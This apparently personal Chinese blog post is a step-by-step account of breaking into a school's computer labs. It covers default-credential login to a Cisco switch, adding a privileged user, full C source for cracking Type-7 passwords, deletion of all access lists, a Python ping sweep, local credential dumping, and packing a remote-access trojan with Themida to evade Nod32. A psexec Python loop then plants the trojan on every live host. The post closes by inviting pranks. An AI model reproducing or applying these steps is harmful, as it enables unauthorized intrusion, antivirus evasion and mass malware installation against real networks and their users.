日常笔记

记一次突破cisco网段限制(ACL)跨机房python批量入侵(合并)

1.开机之后,运行cmd,运行ipconfig后发现自己的IP是192.168.5.x,看到网关是192.168.5.1。

2.打开浏览器,url输入192.168.5.1,发现需要用户名和密码。服务器提示level 15 access。果断想到cisco交换机。输入默认账号密码admin:cisco后成功登陆。

3.由于不知道telnet连交换机的账号密码,不过目前web控制的权限是15,最高权限,加一个15权限用户即可。打开 http://192.168.5.1/level/15/exec/-/ ,执行show privilege查看权限。确认15以后打开 http://192.168.5.1/level/15/exec/-/configure/http 执行 username luo privilege 15 password 123456 添加一个用户名为 luo 密码为 123456 的权限15用户。

4.telnet 192.168.5.1,尝试用刚刚建立的用户登录,发现只能直接输入password。无奈之下回到web端查看配置。打开  http://192.168.5.1/level/15/exec/-/ 执行 show running-config ,在最后看到

line vty 0 4
password 7 033C69333F2F325554xxxx(四位数字,文字马赛克。)
login

密码为 CiscoType-7,果断上代码逆向运算加密。

C代码如下

#include <stdio.h>
#include <ctype.h>
#include <string.h>
 
char xlat[] = {
        0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
        0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
        0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53, 
        0x55, 0x42 
};
 
 
int
cdecrypt(char *enc_pw, char *dec_pw)
{
        unsigned int seed, i, val = 0;
 
        if(strlen(enc_pw) & 1)
                return(-1);
 
        seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';
 
        if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
                return(-1);
 
        for (i = 2 ; i <= strlen(enc_pw); i++) {
                if(i !=2 && !(i & 1)) {
                        dec_pw[i / 2 - 2] = val ^ xlat[seed++];
                        val = 0;
                }
 
                val *= 16;
 
                if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
                        val += enc_pw[i] - '0';
                        continue;
                }
 
                if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
                        val += enc_pw[i] - 'A' + 10;
                        continue;
                }
 
                if(strlen(enc_pw) != i)
                        return(-1);
        }
 
        dec_pw[++i / 2] = 0;
 
        return(0);
}
 
void
usage()
{
        fprintf(stdout, "Usage: ciscocrack <encrypted password>\n");
}
 
int
main(int argc, char *argv[])
{
    char passwd[65];
 
    memset(passwd, 0, sizeof(passwd));
 
    if(argc != 2)
    {
          usage();
          return(1);
    }
 
    if(cdecrypt(argv[1], passwd)) {
          fprintf(stderr, "Error\n");
          return(1);
    }
    printf("Passwd: %s\n", passwd);
 
    return 0;
}

编译成exe,cmd下执行 “x.exe 033C69333F2F325554xxxx” 解出明文。

重新telnet 192.168.5.1 ,输入刚才的明文密码,成功登陆。

5.执行enable,进入特权模式,发现需要输入密码。默认cisco,成功进入特权模式。执行 show privilege 发现当前权限15 。

6.执行 show access-list 查看访问表。

XXXXX#show access-list

 Extended IP access list 100

     deny ip 192.168.3.0 0.0.0.255 192.168.4.0 0.0.0.255

     deny ip 192.168.3.0 0.0.0.255 192.168.5.0 0.0.0.255

     deny ip 192.168.3.0 0.0.0.255 192.168.6.0 0.0.0.255

     permit ip any any (25306 matches)

 Extended IP access list 101

     deny ip 192.168.4.0 0.0.0.255 192.168.3.0 0.0.0.255

     deny ip 192.168.4.0 0.0.0.255 192.168.5.0 0.0.0.255

     deny ip 192.168.4.0 0.0.0.255 192.168.6.0 0.0.0.255

     permit ip any any (19092 matches)

 Extended IP access list 102

     deny ip 192.168.5.0 0.0.0.255 192.168.3.0 0.0.0.255

     deny ip 192.168.5.0 0.0.0.255 192.168.4.0 0.0.0.255

     deny ip 192.168.5.0 0.0.0.255 192.168.6.0 0.0.0.255

     permit ip any any (32410 matches)

 Extended IP access list 103

     deny ip 192.168.6.0 0.0.0.255 192.168.3.0 0.0.0.255

     deny ip 192.168.6.0 0.0.0.255 192.168.4.0 0.0.0.255

     deny ip 192.168.6.0 0.0.0.255 192.168.5.0 0.0.0.255

     permit ip any any (269568593 matches)

当时有四个机房,表也有四个,表的序号为IP的C段加97(192.168.3.1 —- 100)

7.执行config t ,进入配置模式。停用所有ACL

no access-list 100
no access-list 101
no access-list 102
no access-list 103

8.执行exit ,退出config。执行show access-list ,发现为空。

9.回到cmd,ping下隔壁机房的教师机192.168.4.254,发现ping通,说明已经解除网段限制。

10.写python脚本批量列出4个机房的存活IP,尝试由于4个C段,尝试四线程。(其实效率没想象的那么高。)

import os
import threading

def ping(i):
    for k in range(1,255,1):
        ret=os.system("ping 192.168."+str(i)+"."+str(k)+" -n 1 -w 1")
        if ret==0:
            fileWriteObj.write("192.168."+str(i)+"."+str(k)+"\n")



threads=[]
t1 = threading.Thread(target=ping,args=("3",))
threads.append(t1)
t2 = threading.Thread(target=ping,args=("4",))
threads.append(t2)
t3 = threading.Thread(target=ping,args=("5",))
threads.append(t3)
t4 = threading.Thread(target=ping,args=("6",))
threads.append(t4)

if __name__ == '__main__':

    fileWriteObj = open("E:\\list.txt", 'w') #存活主机列表保存位置
    for t in threads:
        t.start()
    t.join()
    if (t1.isAlive() == False and t2.isAlive()== False and t3.isAlive()==False and t4.isAlive() == False):
        fileWriteObj.close()

11.由于机房系统为WindowsXP,猜测老师把各个机器的用户名密码设置相同并默认开启了IPC服务。

12.用GETPASS.EXE获取本机的用户名密码:XXXX:XXXXXXXXX(文字马赛克)

13.利用psexec的c参数和python脚本批量种植远控木马。但每台机器都有Nod32杀软,需要对木马做简单做免杀。

14.把鼠标放到右下角Nod32的小图标上,看到Nod32的病毒库版本是20120319(这实验中心的老师太不负责了)。而我用的是上兴远控2014版。按理说不应该被杀,想想当时Nod32就有启发式杀毒,那加一个反调试的压缩壳会不会就直接过掉了呢?

15.先禁用Nod32的实时文件监控,打开上兴2014,看看看下本地IP 192.168.5.215(由于文章不是同一时间写出来的,电脑换了,所以IP也换了),因为机房有还原卡,配置客户端的时候不用添加服务什么的重启上线功能。上线地址为192.168.5.215,生产木马名为server.exe(想起来当年的灰鸽子)。

16.打开 Themida,把server.exe拖进来,选 Protect Option,把 Deliphi/BCB Form Protection 和 VMWare/Virtual PC 两个勾去掉(没啥用我感觉),然后点Protect 。

17.加完了壳,右键杀毒下,发现成功不杀了。启用Nod32的实时文件监控,本地运行加壳后的木马,Nod32无提示木马上线。

18.写python逐行读取list,批量执行psexec。这里就用单线程(记得以前多线程好像有问题)。

import os

for line in open("E:\\list.txt"): #文章(2)里面跑出来的存活主机列表
    line=line.strip('\n')
    cmd = "psexec.exe \\\\"+line+" -u XXXX -P XXXXXXXX@520! -c server.exe" #账号密码就文字马赛克了。
    os.system(cmd)
    if not line:
        break

19.把server.exe和psexec.exe放在与脚本同一个目录下,等待脚本运行完毕。

20.效果图

21.有了远控权限,想要恶作剧比如全部机房一起弹窗之类的随你好了。

发表评论

Captcha Code